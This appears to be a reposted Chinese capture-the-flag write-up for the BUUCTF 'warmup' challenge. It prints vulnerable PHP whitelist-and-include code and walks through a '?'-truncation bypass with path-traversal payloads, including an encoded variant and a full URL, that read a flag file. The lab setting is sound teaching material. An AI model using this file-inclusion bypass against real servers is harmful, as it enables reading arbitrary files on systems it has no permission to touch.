作者:LBM-痕迹 | 来源:互联网 | 2023-09-18 19:50
warmup
题目描述
一打开就看到,那咱们就进去看看里面有什么
"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "
";}
?>
然后我们看到了hint.php,那就再进去看看了
$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//mb_strpos — 查找字符串在另一个字符串中首次出现的位置);if (in_array($_page, $whitelist)) {return true;}
这就猜测flag,在ffffllllaaaagggg里面
根据上面的代码
现在假设我的payload为:file=source.php?/../ffffllllaaaagggg
,经过mb_strpos
为source.php?/../ffffllllaaaagggg?
,但是mb_strpos
这个函数只返回首次出现的位置,所以还是会返回第一个?
的位置,而mb_substr
截取函数,从0开始截取一直到第一个?
的位置,截取内容为source.php
,恰好能与白名单中的进行匹配,可以return true;
,所以通过第一次截取进行绕过。
接下来,只要利用../回到服务器的根目录下,找到flag就行,经过测试,需要6个../,但是多打几个其实也可以,然后就是 ?source.php%25%33%46../../../../ffffllllaaaagggg ,得到flag:
http://1beba5b6-c6b0-4484-9a0e-36a1e6e78cba.node3.buuoj.cn/?file=source.php%3F../../../../../../ffffllllaaaagggg
资料来源:
https://blog.csdn.net/qq_43431158/article/details/102551843
https://www.cnblogs.com/leixiao-/p/10265150.html
https://www.jianshu.com/p/42011eb79f8b